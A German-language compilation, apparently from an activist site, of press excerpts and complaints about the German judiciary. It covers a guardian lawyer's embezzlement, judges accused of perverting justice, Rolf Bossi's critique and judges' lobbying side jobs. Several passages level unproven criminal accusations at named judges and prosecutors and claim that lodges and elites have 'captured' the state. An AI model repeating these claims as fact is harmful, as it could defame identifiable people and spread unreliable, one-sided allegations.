Als Olaf O., Rechtsanwalt aus Gütersloh, 1995 vom Vormundschaftsgericht mit der Betreuung von Elfriede Löber beauftragt wurde, betrug ihr Vermögen 1,083 Millionen D-Mark. Der Betreuer selbst legte damals eine Bestandsaufnahme an, die Bargeld, Grundstücke, ein Mietshaus, Möbel und Orientteppiche auflistete. Im Dezember 2004 waren von alldem noch 73 599 Euro übrig – obwohl die laufenden Kosten des Pflegeheims durch Renten und Mieteinnahmen nahezu gedeckt waren. Weitere Bedürfnisse hatte die alte Frau nicht. Olaf O. hatte ihr Vermögen in die eigene Tasche verschoben.Und nicht nur das von Elfriede Löber. Im Oktober 2006 verurteilte die Strafkammer des Landgerichts Bielefeld den betrügerischen Advokaten zu fünfeinhalb Jahren Freiheitsstrafe wegen Veruntreuung in 45 besonders schweren Fällen. …
Die Angehörigen kämpfen bis heute darum, das veruntreute Geld zurückzubekommen. Erst vor 14 Tagen stand O. wieder vor der Zivilkammer des Bielefelder Landgerichts, mit einer bemerkenswerten Verteidigungsstrategie. „Ich habe so viele Straftaten begangen“, sagte er, „dass ich mich an einzelne nicht erinnern kann.“
Zum anderen beklagen Beratungsstellen wie die Bonner Initiative „Handeln statt Misshandeln“ (HSM) aber auch die nachlässige Arbeit der Vormundschaftsgerichte. „Es werden viel zu viele unnötige Betreuungen eingerichtet“, sagt HSM-Mitarbeiterin Marita Halfen. Die Gerichte gingen nicht ausreichend gründlich auf den Einzelfall ein, und den betroffenen Menschen werde mit dem Begriff Betreuer oft vorgegaukelt: „Da kommt jemand, der sich um dich kümmert. Aber das ist pure Täuschung. Denn die alten oder behinderten Leute werden de facto entrechtet.“ Gegen ihren Willen würden dann Häuser verkauft, Wohnungen und Konten geräumt. Hunderte solcher Fälle liegen auf dem Tisch der Sozialarbeiterin. …
Statt Fürsorge zu geben, wollten einige schwarze Schafe einfach nur Geld verdienen: „Da steht ein Milliardengeschäft dahinter.“
Der Rechtspfleger, der den Gütersloher Betreuer Olaf O. überwachen sollte, hatte 35 Minuten für jeden seiner Fälle – pro Jahr. In der Zeit sollte er meterdicke Akten wälzen und die Notwendigkeit von komplizierten Rechtsgeschäften beurteilen. „Ein Ding der Unmöglichkeit“, sagt der Bielefelder Rechtsanwalt Volker Küpperbusch, der Elfriede Löber bis zu ihrem Tod vertrat und sich jetzt um die Interessen ihrer Erben kümmert. …
Weil O. nun mittellos ist, hält sich Küpperbusch an das Land Nordrhein-Westfalen. Es soll für die gravierende Fahrlässigkeit des Rechtspflegers am Vormundschaftsgericht in Haftung genommen werden – und hat bereits signalisiert, einem Vergleich über 150 000 Euro zuzustimmen.
Bis Mai hat Reinhard Löber nun Zeit, sich zu überlegen, ob er dieses Angebot annimmt. Er wird sich wohl damit zufriedengeben. „Das Geld ist ohnehin nicht mehr als Trostpflaster“, sagt der Sohn. Ihm geht es auch darum, andere davor zu warnen, in die Betreuungsfalle zu tappen. „Fünf Generationen haben hart dafür gearbeitet, unserer Familie ein kleines Vermögen zu schaffen“, sagt Löber. „Wenige Jahre haben ausgereicht, das zu zerstören.“ Verantwortlich dafür ist ein Mann, der Elfriede Löber eigentlich helfen sollte – im Auftrag und unter der Aufsicht des Staates.

Die Erben von Frankfurt, www.die-richterin.com
Wenn Richter (CDU) und Anwälte kriminelle Handlungen begehen, dann wird das Opfer zum Täter gemacht. Das übliche eben:

In Hessen tobt ein Familienkrieg, in dem ein Toter aufersteht, eine OB-Kanditatin der CDU zu einem Ferrari kommt und Ermittlungen immer wieder stocken. Lesen Sie mehr in der „Süddeutsche Zeitung“ Wochendausgabe vom 25./26. Juli 2009 Seite V2/3: http://www.sueddeutsche.de/85A388/2981339/Die-Erben-von-Frankfurt.htm
Die diversen Ermittlungen gegen Michael Wolski wurden verlegt, verschoben und an verschiedene Abteilungen (bis zur Staatsanwaltschaft Darmstadt) zerstückelt. Die Richterin Karin Wolski (Mitglied des Staatsgerichtshofs und Vizepräsidentin des Frankfurter Verwaltungsgerichts) genießt im Steuerstrafverfahren ihres Mannes die Vorzüge des „Hausfrauenparagraphen“ einer „unwissenden Hausfrau“. Im Februar 2009 wurden Ermittlungen gegen Richterin Frau Wolski offiziell eingestellt, gleichwohl die Staatsanwaltschaft das Bestehen solcher Ermittlungen immer bestritt.
Auch sonst ist die Justiz, was den Fall Wolski anbetrifft, nicht sehr eifrig: Verfahren gegen Wolski wegen Parteienverrat wurde im Frühjahr 2008 auf Februar 2009 angesetzt und sehr kurzfristig abgesagt. Auch das Steuerstrafverfahren wurde kurzfristig abgesagt. Was mit den weiteren Verfahren seit 2003 passiert (Betrug, Untreue) ist nicht bekannt, man kann es sich allerdings denken.
Seit Mai 2008 liegt der Staatsanwaltschaft Frankfurt, Wirtschaftsabteilung, eine weitere Anzeige wegen gemeinschaftlichen Betruges gegen Michael Wolski vor. Hierbei versuchte der nimmersatte Wolski sich eine Luxusimmobilie des verstorbenen Ignaz C. zu erschleichen, in dem der 2 Jahre zuvor Verstorbene, dank 3 Frankfurter Notaren, neue Vollmachten ausstellen konnte. Und damit zum Leben wiedererweckt wurde. Originalvollmachten
Nachdem die Wirtschaftsabteilung der Staatsanwaltschaft Frankfurt den Fall zunächst zu anderen Abteilungen zu verschieben versuchte, ist der Fall letztendlich doch zu ihr zurückgekehrt. Und da liegt er offensichtlich immer noch.
Viel aktiver war diese, angeblich permanent unterbesetzte Abteilung Wirtschaftskriminalität der Staatsanwaltschaft Frankfurt, als sie den Verfasser dieser Webseiten zur selben Zeit mit künstlichen und unberechtigten Ermittlungen und Durchsuchungen bombardierte:…

„Richter lesen zu viel hinein“, keine Volksverhetzung, 05.03.2010
Mit diesem Plakat hatte ein Augsburger Verein geworben. Die Verantwortlichen wurden durch alle Instanzen wegen Volksverhetzung verurteilt. Zu Unrecht, wie das
Bundesverfassungsgericht nun festgestellt hat. Das Grundrecht auf Meinungsfreiheit sei unzureichend berücksichtigt worden.
Der Beschluss liegt auf der Linie der bisherigen Rechtsprechung des Bundesverfassungsgerichts, wonach Volksverhetzung nicht leichtfertig bejaht werden darf. Das Gericht zeigt nochmals die strengen Voraussetzungen auf:
Soweit angenommen werden soll, dass der Gebrauch eines Grundrechts die Menschenwürde beeinträchtigt, ist eine besonders sorgfältige Begründung erforderlich. Ein Angriff auf die Menschenwürde ist nur gegeben, wenn der angegriffenen Person ihr Lebensrecht als gleichwertige Persönlichkeit in der staatlichen Gemeinschaft abgesprochen und sie als unterwertiges Wesen behandelt wird.

Landgerichtspräsident Emil Schmalfuß vom Landgericht Kiel schweigt weiter zur Nachlass Mafia Affaire im Gerichtsbezirk, 15.12.2008
Landgerichtspräsident Emil Schmalfuß vom Landgericht Kiel möchte offensichtlich nicht nach Aktenlage erkennen, dass die Rechtsbeugungen der angeschuldigten Richter das Einleiten eines Disziplinarverfahrens und Strafermittlungsverfahrens notwendig machen. Er teilet dem Beschwerdeführer B. schon mit Schreiben vom 08.12.2008 mit, dass er es nicht sinnvoll halte sich zu wiederholen und kein Disziplinarverfahren gegen die Richter am Amtsgericht Neumünster Helga Dohrn und Andreas Martins sowie den Vorsitzenden der 23.Zivilkammer am Landgericht Kiel Brommann einzuleiten,auch wenn diese Fehlurteile verkündet haben, die nach dem Grundgesetz Artikel 34 GG in Verbindung mit Artikel 101 Abs.1 Satz 2 GG nicht zulässig sind. Im gleichen Tenor äußerte sich auch schon im Vorwege Amtsgerichtsdirektor Hoops vom Amtsgericht Neumünster.Schmalfuß und Hoops teilten dem Beschwerdeführer in vorherigen Schreiben auch mit, dass sie keine Eingaben und Beweisanträge von ihm mehr beantworten wollen.
Offenkundig soll wieder einmal das Recht eines Bürgers erneut verhindert werden,in dem Landgerichtspräsident Emil Schmalfuß und Amtsgerichtsdirektor Hoops ihre schützenden Hände über Richter halten,wobei sich die berechtigte Frage stellt,wieviele Jahre die Nachlass Mafia schon abkassiert.

Unser Justizsystem züchtet staatstreue, willfährige Leute:
Schweizer Strafrechtler Max Pieth, der sich als wissenschaftlicher Mitarbeiter in mehreren Organisationen der UNO einen Namen gemacht hat und von dem man sagen kann, dass er die Rechtsordnungen einer Vielzahl von Staaten kennt und sie miteinander vergleichen kann, festgestellt “Das Problem in Deutschland ist, dass die Ministerialbürokratie eine starke Rolle bei der Beförderungspolitik spielt und damit einen großen Einfluss auf die Karriere von Richtern und Staatsanwälten hat. Dieses System züchtet staatstreue, willfährige Leute.” (zitiert aus Roth/Nüberl/Fromm, Anklage unerwünscht.)

Der Richtereid als Phrase für Karriererichter:
Der Richtereid „nur der Wahrheit und Gerechtigkeit zu dienen“ (§ 38 Deutsches Richtergesetz, Art. 20 Abs. 3 Grundgesetz) wird für Karriererichter zur Phrase. Das politisch motivierte Wollen eines der Kabinettsdisziplin unterworfenen Regierungsmitglieds unterläuft den Grundsatz der Bestenauslese (Art. 33 Abs. II GG) in der Dritten Gewalt mit langfristiger Wirkung. Zwar alles möglich, aber verboten und deshalb unwahrscheinlich, weil schließlich nicht sein kann, was nicht sein darf ?
Udo Hochschild Vorsitzender Richter am Verwaltungsgericht a.D. Direktor des Sozialgerichts a.D.

Dr. Edmund Haferbeck: “Rechtsbeugungen sind in der deutschen Justiz nicht ungewöhnlich”, 08.09.2005
Zu Urkundenfälschung durch Staatsanwälte “nicht widerrechtlich” (FR vom 9. Oktober 2001): Der Vorgang beweist einmal mehr, welche erheblichen Straftaten innerhalb der Justiz begangen werden. Wir betonen, dass solche Vorgänge, nämlich der Schutz von Angehörigen der öffentlichen Rechtspflege und der Notariate, zur Normalität in der deutschen Justiz gehören.
Schwerpunkte von Justizkriminalität, in denen Behörden- und Justizangehörige sowie auch besonders wichtige Persönlichkeiten des öffentlichen Lebens mittels Straftaten geschützt werden, sind in München, Köln, Frankfurt … festzustellen.
Diese Strafvereitelungen im Amt (Paragraf 258 a Strafgesetzbuch) neben der Rechtsbeugung (Paragraf 339 StGB) und neben Unterlassungen von Diensthandlungen (Paragraf 336 StGB) gehen sogar soweit, dass engagierte Bürger, die solche Zusammenhänge aufgedeckt und angezeigt haben, strafrechtlich verfolgt werden. Einher gehen diese justiziellen Straftaten mit Psychiatrisierungsversuchen. Das Sich-gegenseitig-Decken in Justizkreisen ist die Regel, nicht die Ausnahme. […]Die neuerliche Strafgesetzbuch-Kommentierung hat sich längst auf die ständigen, routinemäßig ablaufenden Rechtsbeugungen innerhalb der Justiz eingestellt. Im Standard-Kommentar zum StGB (Tröndle/Fischer, 50, neu bearbeitete Auflage, München 2001) steht zur Rechtswidrigkeit der Rechtsbeugung geschrieben:
Das praktische Bild bewusster Verstöße gegen Rechtsnormen prägen nicht Fälle rechtsfeindlicher Entscheidungen gegen ,elementare Rechtsgrundsätze’, sondern eher leichte Fälle bewusst unvertretbarer Verfahrensbehandlung, teils zur Arbeitserleichterung, teils zur Erreichung ,gerechter’ Ergebnisse; dem Ansehen und der Autorität des Rechtsstaats sind auch sie abträglich.
Die Justiz würde bei Straftaten dieser Schwere, die allein mit Freiheitsstrafe und nicht mehr auch mit Geldstrafe bedroht sind, gegenüber juristischen Laien, also normalen straffällig gewordenen Bürgern die volle Härte des Gesetzes anwenden: Ausstellung eines Haftbefehls, sofortige Inhaftierung, Entfernung vom Arbeitsplatz wegen bestehender Wiederholungsgefahr, Anklageerhebung.
Hier wird die Öffentlichkeit vor dem Hintergrund des Artikels 3 I Grundgesetz (”Alle Menschen sind vor dem Gesetz gleich”) vergeblich auf eine ordnungsgemäße Bearbeitung durch die Justiz warten müssen – zur Politik hat sich längst die Justizverdrossenheit gesellt.

Inszeniertes „Strafverfahren“, AG Saarlouis 16 Ds 141/02, wegen angeblicher Richterbeleidigung
Unter Verstoß gegen die hier maßgeblichen Vorschriften der Strafprozessordnung hat der Richter am AG Saarlouis, Weyer, am 17.07.2002 trotz Wissens, dass es für eine solche keine tatsächlichen und rechtlichen Gründe gibt, auf Antrag der Staatsanwaltschaft Saarbrücken, eine Anklage gegen Frau Schmelzer und deren (inzwischen verstorbener) Mutter, Frau Wolf, wegen angeblicher Beleidigung (§ 185 StGB) des damaligen Vizepräsidenten des VG, Richter Adam, sowie des damaligen Präsidenten des OVG, Richter Friese, zugelassen.
Nachweislich der Verwaltungsgerichtsakten: VG Saarlouis 5 K 374/96, OVG Saarlouis 2 R 633/88, VG Saarlouis 2 K 188/92, OVG Saarlouis 2 R 1/98 (8 R 6/96), VG Saarlouis 2 K 350/98 wurde von Frau Schmelzer und Frau Wolf aber zu keiner Zeit eine Beleidigung begangen. Tatsache ist vielmehr, dass die Anzeige und die Anklageschrift der Staatsanwaltschaft konstruiert sind, und die Zulassung der Anklage durch Richter Weyer eine Verfolgung Unschuldiger (§ 344 StGB) und eine Verletzung der Grundrechte (Persönlichkeitsrechte) sowie der Menschenrechte nach Art. 6 EMRK darstellt.

Über den Niedergang des deutschen Rechtsstaat – Dr. Egon Schneider – ehemals Vorsitzender Richter am OLG Köln
Haben wir noch einen unbeschädigten Rechtsstaat? Können die Bürger und Anwälte als ihre legitimierten Helfer noch darauf vertrauen, dass der Gesetzgeber immer die Gerechtigkeit anstrebt und die Gerichte stets bemüht sind, die Gesetze zum Schutz der Bürger fehlerfrei anzuwenden?
Die Antwort auf diese Frage lässt sich nicht durch die üblichen abstrakten Beteuerungen finden. Nur die forensischen Erfahrungen sind aussagekräftig.[…]
Und hier liegt vieles im argen, so sehr, dass oft die Rechtsstaatlichkeit auf der Strecke bleibt.
Wer nicht praktizierender Anwalt ist, macht sich keine Vorstellung über den alltäglichen Kampf ums Verfahrensrecht. Unentwegt wird im Zivilprozess – auf den sich die folgende Darstellung beschränkt – von den Gerichten fahrlässig bis vorsätzlich gegen zwingende einfachrechtliche Vorschriften und gegen die Grundrechte verstoßen. Vielfach müssen die Parteien das wehrlos hinnehmen.
Berichte über grobe und gröbste Verstöße gegen das Verfahrensrecht werden aus Justizkreisen damit abgeblockt, es handele sich um Einzelfälle. Um diese unwahre Beschönigung zu widerlegen, habe ich seit 1992 als Herausgeber der Zeitschrift für die Anwaltpraxis (ZAP) den ZAP-Report: Justizspiegel eingeführt und die Leser um Mitarbeit durch Einsendungen gebeten. Deren Reaktion war überwältigend! Anwälte aus ganz Deutschland haben über ihre bedrückenden Erlebnisse berichtet und berichten immer noch darüber. Fast alle äußerten sich frustriert und verbittert, weil sie Rechtsverletzungen wehrlos hinnehmen mussten.

Sendung auf 3Sat, die deutsche Justiz: „Halbgötter in Schwarz“ (17.03.2005)
Ein Verteidiger klagt an. Staranwalt Rolf Bossi erhebt schwere Vorwürfe gegen die deutsche Justiz. Selbstherrlichkeit von Richtern, Willkür und skandalöse Fehlurteile höhlen den deutschen Rechtsstaat aus. Jeder kann heute zum Opfer einer Justiz werden, die sich einer wirksamen Kontrolle entzieht. Es gibt Verfassungsmäßig den Gleichheitsgrundsatz und wir haben eben in unserer Justiz jetzt einen Zustand in dem dieser Gleichheitsgrundsatz in elementarster schwerster Weise verletzt ist. Für Strafkammern vor Landgerichten und noch viel schlimmer von Schwurgerichten gibt es keine Wortprotokollierungspflicht. Da kann der Richter machen was er will. So kann sich jeder Richter hinter einem formal stimmigen Urteil verschanzen ohne dass er Angst haben muß überprüft zu werden. Das es zu wenige effektive Kontrollmöglichkeiten in der deutschen Justizordnung gibt sehen auch viele Richter so.
Richter Thomas Melzer: „Bossis Buch kommt zur rechten Zeit er hat ob gewollt oder nicht ein gutes Timing, denn die Justizministerkonferenz strickt ja an einer großen Struckturreform.“
Viele Richter, so Bossi, unterschlagen Beweise lassen Widersprüche einfach weg nur um ein Urteil formaljuristisch unanfechtbar zu machen. Dagegen gibt es kaum eine Handhabe und das führt bei manchem Richter zu einem Allmachtsgefühl.
Richter Thomas Melzer: „Es ist eine Gefahr, die der Berufsstand mit sich bringt, man ist ja quasi von Berufswegen über viele Jahre im Recht, man war es gestern man ist es heute und wenn nichts dazwischen kommt ist man es bis zum Pensionsalter. Dieses Bewusstsein schleicht sich ein und es trägt die Gefahr einer gewissen Deformation in sich und ich kenne Kollegen bei denen sich diese Gefahr materialisiert hat.“
Wenn also nicht einmal die Todesurteile des Volksgerichtshofes unter Roland Freisler als Rechtsbeugung geahndet wurden wie sollen dann heute vergleichsweise harmlose Fehlurteile verfolgt werden. Eine fatale Kontinuität. Eine Krähe hackt der anderen kein Auge aus. Die Justiz ist strukturell gar nicht dafür geschaffen und sie ist auch nicht willens in eigener Sache Recht zu sprechen. Und jetzt soll alles noch viel schlimmer werden. In einer grossen Justizreform wollen Bundesjustizministerin Brigitte Zypries und ihre Kollegen aus den Ländern die Berufungsmöglichkeiten vor Gericht noch weiter einschränken. Die Fälle von Willkür und Kumpanei, die Bossi aus seiner 50 jährigen Erfahrung im Gerichtssaal beschreibt lassen jeden der noch an die Unbescholtenheit deutscher Richter glaubt erschrecken.
Sendung vom 17. MAI 2005, 23.00 UHR, Rolf Bossi (81): Die deutschen Strafgerichte sind so ungerecht, dass man die Urteile auch auswürfeln könnte,“ sagt Rolf Bossi,
Deutschlands bekanntester Strafverteidiger. Justizirrtümer seien demnach „sozialstaatlich sanktionierte Kunstfehler.“

Rolf Bossi Halbgötter in Schwarz. Deutschlands Justiz am Pranger, Eichborn Verlag Frankfurt/M (2005)
Verkündigung von Haftbefehlen trotz attestierter und unbestrittener Haftunfähigkeit, unbekümmerte Übernahme phantastisch zu nennender Beschuldigungen durch die Staatsanwaltschaft und das Gericht, Unterlassung der notwendigen medizinischen Versorgung eines unschuldig in Untersuchungshaft Einsitzenden nach Übergriff eines Mithäftlings, polizeiliche Durchsuchungen ohne Durchsuchungsbefehl, keinerlei richterliche oder polizeiliche Befragung von Entlastungszeugen, auch nach acht Wochen Untersuchungshaft keine rechtmäßige Vernehmung des sich in Untersuchungshaft Befindenden, Klagen auch bei unzureichendem Tatverdacht, schlampige bis gar keine und nur zu Lasten des Beschuldigten gehende Ermittlungen, weitgehende Unkenntnis der Ermittlungsakten bei Richtern, öffentliche Vorverurteilungen des Beschuldigten durch einen Oberstaatsanwalt vor der Boulevardpresse, die über die dokumentierten Anschuldigungen sogar hinausgehen, blindes Vertrauen in Gutachten, das Etablieren von Hausgutachtern, da sie das vom Gericht gewünschte Ergebnis abliefern, das In-die-Länge-Ziehen auch aussichtsloser Prozesse, das Weglassen angeblich irrelevanter, tatsächlich aber wichtiger Aussagen, das Ignorieren von Fakten, bei entlastenden Aussagen Säen von Zweifeln an der Glaubwürdigkeit des Zeugen bis hin zur Bezichtigung der Lüge, die völlige Verdrehung der Aussagen von Zeugen bis zum gegenteiligen Inhalt, das Schaffen neuer Tatsachen, öffentliche Vorverurteilungen, denen ein allzu oft kurzer Prozeß folgt, das komplette Weglassen entlastender Aussagen im Urteil, sowie das Weglassen kriminaltechnischer Auswertungen, wenn sie für den Angeklagten sprechen, mit der Begründung, sie seien „für die in der Anklageschrift vorgeworfene Tat ohne Bedeutung“, das Für-glaubwürdig-Halten parteiischer Zeugen, gedeckt durch die „freie Beweiswürdigung“ der Richter, das Weglassen entlastender Indizien insbesondere dann, wenn diese einen wahrscheinlichen Revisionsgrund darstellen könnten, die Nichtladung wichtiger Zeugen, sofern die bei der polizeilichen Vernehmung gemachten Aussagen die Anklage ausreichend stützen, eine Klärung im Rahmen eines Verhörs diese jedoch gefährden könnte, Kumpanei unter Richtern selbstverständlich zu Lasten des Angeklagten insbesondere nach erfolgreicher Revision, eine für den Angeklagten vergiftete Atmosphäre am Gericht nach erfolgreicher Revision, unterlaufene Absprachen, Diskreditierung von Entlastungszeugen mit unterstellenden Behauptungen oder Verneinung rein hypothetischer extremer Unterstellungen, Justizirrtümer kafkaesken Ausmaßes, Parteilichkeit von Richtern bei „Aussage gegen Aussage“, obwohl der aussagende Nebenkläger und Zeuge ohnehin erwiesenermaßen zumindest in einem Fall nachweislich gelogen hat, die Aufforderung eines Richters an einen Zeugen, sich Erklärungen für ein nachgewiesenes Indiz auszudenken, das für den Angeklagten spricht, Strafvereitelung im Amt, fast unüberwindliche Hürden bei der Wiederaufnahme von Verfahren, Abschreckungsurteile, Rechtsbeugung und die Aushebelung des Straftatbestandes der Rechtsbeugung,
All diese Zustände deutscher Strafjustiz schildert der seit fünfzig Jahren als Anwalt arbeitende Rolf Bossi in seinem aktuellen Buch.

Literaturempfehlung – Die Rechtsbeuger-Mafia – „den Staat zur Beute gemacht“
Titelbild des Buches Rolf Bossi – bundesweit bekannter Staranwalt aus München und als CSU-Mitglied des politischen Revoluzzertums unverdächtig – kommentierte seine wiederholt unliebsamen Erfahrungen mit der schleswig-holsteinischen „Rechtspflege“ durch das Bekenntnis, bis zum letzten Atemzug gegen das illegale Fortbestehen des Dritten Reichs in der Justiz kämpfen zu wollen.
Unser ehemaliger Ministerpräsident Björn Engholm offenbarte vor dem parlamentarischen Untersuchungsausschuß zur sogenannten Schubladenaffäre, Schleswig-Holstein sei ein einziger großer verhunzter und verkrusteter Schweinestall zwischen Nord- und Ostsee; schwieg sich aber darüber aus, warum er seine Regierungsjahre nicht genutzt habe, um gehörig auszumisten.
Die Autoren der „Rechtsbeugermafia“ haben jahrelang am eigenen Leib erfahren, welches hohe Maß an Verkommenheit große Teile der bundesdeutschen Justiz und Verwaltung kennzeichnet.
Einer der Autoren hat nach 20jähriger Berufstätigkeit in Schleswig-Holstein seine Anwaltszulassung aus Protest gegen unglaubliche Rechtsbrüche und aus Gründen sozialer‘ Hygiene zurück- gegeben.
Entgegen der Verfassung geht alle Gewalt nicht vom Volke aus, sondern von einigen Wirtschaftsführern, Rotariern, Lions und anderen Logenbrüdern, die sich zusammen mit der Funktionärsclique der maßgeblichen politischen Parteien den Staat zur Beute gemacht haben und in allen öffentlichen Gewalten u.a. durch Ämterpatronage und Postenschacher an den Fäden ziehen.
Auch der Voyeur kommt auf seine Kosten, denn die Obszönität der privaten Moral der vorgeblichen Elite deckt sich mit dem ungesetzlichen Wildwuchs (Generalstaatsanwalt S-H a.D. Prof. Ostendorf) bei der Wahrnehmung öffentlicher Ämter.

Angeklagter folgt nicht den Wünschen des Richters nach Tatbestand und Schuldigkeit, Rechtsanwalt verläßt Gerichtssaal:
…Der Angeklagte gab Widerrede. Er wurde inzwischen ebenfalls von der weiteren Verhandlung ausgeschlossen. Die Verteidigung erklärte schriftlich, dass sie die weitere Verhandlung ohne einen der beiden Angeklagten und die ausgeschlossenen Zuschauer durch ihre Anwesenheit nicht legitimieren wolle. Sie verließ den Gerichtsort.
Zu einer umfangreicheren Auseinandersetzung kam es am Ende des zweiten Verhandlungstages. Auslöser war der Versuch des Verteidigers, dem am Genversuch beteiligten Dr. Langen eine Frage mit Bezug zum Genversuchsfeld zu stellen. Diese Frage wurde von Richter Oehm verboten. (Spektakulärer aber war, das Richter Oehm im Urteil plötzlich doch auf die Frage einging, ob ein rechtfertigender Notstand (§ 34 StGB) bestanden haben könnte.)
…Die Verteidigung protestiert mit dieser Presseerklärung gegen die Verhandlungsführung des Herrn Richter Dr. Frank Oehm. Sachliche Gründe für ein solches Vorgehen gab es nicht. Die Maßnahmen haben eine Einschüchterung der Öffentlichkeit, deren Aufgabe es ist, die Justiz zu kontrollieren, zur Folge. Eine gesetzliche Grundlage für die eskalierende Verhandlungsführung des Gerichts ist nicht zu erkennen.
Richter Dr. Frank Oehm ist Vizepräsident des Amtsgerichts Gießen. Auf dem Weg dahin war er bereits Vorsitzener Richter am Landgericht Gießen. Er strebt aber nach Höherem: Stellvertretender Richter am Staatsgerichtshof – auf dem Ticket von CDU und FDP.
Wer jung ist ist Dumm. Menschen sind entlang ihres Ansehens in Kategorien wie Alter oder Geschlecht als minder- oder „besser“-wertig einzustufen.
Auch die Staatsanwältin Sehlbach-Schellenberg, ohnehin auffallend immer daran orientiert, wie der Richter sich verhielt, machte auf ihre Weise bei den Beschimpfungen und Unterstellungen mit.

Palmen Niko und der Staatsanwalt, Nachts verhaftet von 5 Polizeibeamten trotz Unschuld, Frankfurter Rundschau, 25.04.2006
Wie ein Staatsanwalt aus Frankfurt am Main es schafft, in kürzester Zeit gegen nahezu alle relevanten Bestimmungen der Strafprozessordnung, des Grundgesetzes, der Hessischen Verfassung, des HSOG und der aktuellen Rechtssprechung des Bundesgerichtshofs, der des Bundesverfassungsgerichts, des Bundesverwaltungsgerichts sowie der Europäischen Menschenrechtskonvention zu verstoßen.
Obwohl die Nichtstrafbarkeit den Behörden seit 2002 durch die Verfügung der Generalstaatsanwaltschaft bekannt ist wurde ich jahrelang weiter erniedrigt, geschmäht und verunglimpft!
Interview: Nachfolgend vorab die Wiedergabe eines in der Tagespresse erscheinenden Interviews. Nach Akteneinsicht durch meinen Verteidiger ist herausgekommen, dass ebenfalls die Generalstaatsanwaltschaft beim dem Oberlandesgericht Frankfurt am Main das Verfahren gegen Sunrise GmbH bereits am 16.9.2002 durch eine 5-seitige Verfügung eingestellt hat (3 Zs 859/02), wobei es eine Beschwerde gegen die Einstellung der Staatsanwaltschaft Frankfurt verworfen hat. Die Generalstaatsanwaltschaft Frankfurt sieht bei den Faxabrufen aus Rechtsgründen keine Strafbarkeit! Diese Verfügung hat der Staatsanwalt Dr. Brandau offenbar unterdrückt und ignoriert, indem er trotzdem erneut gegen mich ermittelt und alte Verfahren und deren Akten unterdrückt. Ich habe mich nicht strafbar gemacht, sondern Dr. Helmut Brandau nach § 344 StGB wegen Verfolgung Unschuldiger und Freiheitsberaubung, was noch von den Gerichten geprüft wird. Es scheint ein unvermeidbarer Verbotsirrtum bei Dr. Brandau vorzuliegen. Laut Gericht hat er sich nicht strafbar gemacht. Ich denke, man hat ihn einfach nur gedeckt.
Ob das Landgericht Dr. Brandau Nähe zu den Methoden der Nationalsozialisten attestieren wollte, wie ein Teil der Tagespresse meint www.fr-online.de/in_und_ausland/politik/reportage/?em_cnt=1324659, mag jeder Leser der nachfolgenden Darstellung selbst entscheiden.
Erneuter Überfall wegen angeblichen Verstoßes gegen §16 UWG, Angebote mit Mondpreisen/Scheinrabatt Dr. Helmut Brandau durchsuchte mit ca. 25 Polizeibeamten öffentlichkeitswirksam in der Frankfurter Innenstadt „Fressgass“ meine Büro- und Lagerräume sowie alle Wohnungen, denn der Verkauf der Palmen sei strafbar, weil ich im Jahr 2000 meine alten Preise den neuen gegenübergestellt habe, um so der Kundschaft zu zeigen, dass ich im Jahr 2000 der günstigste Anbieter von Echtblattpalmen weltweit war: Dabei beschlagnahmte er Ordner, die er „verloren“ hat sowie einen Laptop, der „verschwunden“ ging. Außerdem ging man mit uns nicht gerade zimperlich um. Dr. Helmut Brandau drohte mir für diesen Fall ebenfalls mit U-Haft. (Er müsse zu „weiteren strafprozessualen Mitteln“ greifen) Mittlerweile hat das Landgericht Frankfurt in einem weiteren Verfahren die Methoden des Dr. Helmut Brandau indirekt mit Nazimethoden des Nationalsozialismus verglichen. (Schutzhaft…)
Nachdem nun noch ca. 60 Staatsanwaltschaften bundesweit bestätigten, dass sie bei angeblicher Mondpreiswerbung nicht wegen „strafbarer Werbung“ ermitteln werden wurde darüber diskutiert, auch mein Verfahren einzustellen. Jedoch wehrte man sich dagegen mit Händen und Füßen. Auch wenn eine Verurteilung nicht wahrscheinlich war wollte man mich doch wenigstens auf der Anklagebank sehen.
Und wieder vergingen 2 Jahre… Irgendwann hat man sich aber geeinigt, nicht noch mehr Kosten zu produzieren.

Justiz-Späne, Unterstellung einer „ergebnisorientierten Verhandlung“ keine Verleumdung, 01.05.2009
Wo gehobelt wird, da fallen Späne. Ottmar Breidling weiß das, er ist ein Vorsitzender Richter hier am Oberlandesgericht. Er ist nicht zimperlich. Aber er wird es, wenn er nur Späne riecht, die von Verteidigern kommen.
So einer hatte dem Breidling-Senat eine „ergebnisoriente Verhandlung“ unterstellt. Wegen Verleumdung klagte unsere Staatsanwaltschaft den Anwalt an. Geradezu wie ein mit dem Fuß aufstampfender kindischer Trotzbold zog sie das Verfahren durch, wollte den Anwalt verurteilt haben.
Vor knapp einem Jahr habe ich an dieser Stelle zu genau diesem Fall schon gelästert. Dass es von der Staatsanwaltschaft ja heißt, sie sei die Kavallerie der Justiz: Erst handeln, dann denken. Und ich habe gehofft, dass aus Starrsinn noch Vernunft werden könnte. Gestern nun kam die Wende.
Oberstaatsanwalt Stephan Hintzen forderte „unter Abweichung früherer Auffassung“ Freispruch. Der Verteidiger habe berechtigt in Berufsausbübung gehandelt.
Dem, was von vornherein klar war, folgte auch Richterin Ruth Lysko: Der Freispruch auf Kosten der Staatskasse ist sogar rechtskräftig geworden. Sollte die Justiz nochmal, was sie gerne tut, über Last und Mühe stöhnen – dazu fehlte ihr jetzt jedes Recht.

RICHTER-NEBENJOBS: Im Fokus der Lobbyisten, spiegel-online 26.11.2007 (SPIEGEL 43/2007)
Viele Richter haben Nebenjobs und erklären etwa der Energiebranche auf Seminaren, was bei Tariferhöhungen zu beachten ist. Am Bundesgerichtshof ist diese Praxis nun aufgefallen. Der erste Richter hat ein Seminar abgesagt.
Das Motto der pro Gast 1605 Euro teuren Veranstaltung: „Gute Chancen für Gasversorger bei Gaspreiserhöhungen!“ Balls nächster Auftritt war für Anfang Dezember bei einer Veranstaltung des Berliner Instituts für Energie- und Regulierungsrecht geplant.
Doch daraus wird nun nichts. Aufgrund des SPIEGEL-Artikels habe der BGH-Präsident Günter Hirsch die BGH-Richter gebeten, in nächster Zeit zum Fragenkomplex des Paragraf 315 BGB keine Vorträge zu halten. Das schrieb der Institutsdirektor in einem Brief an die „Freunde“ des von der Energiewirtschaft kofinanzierten Instituts. …
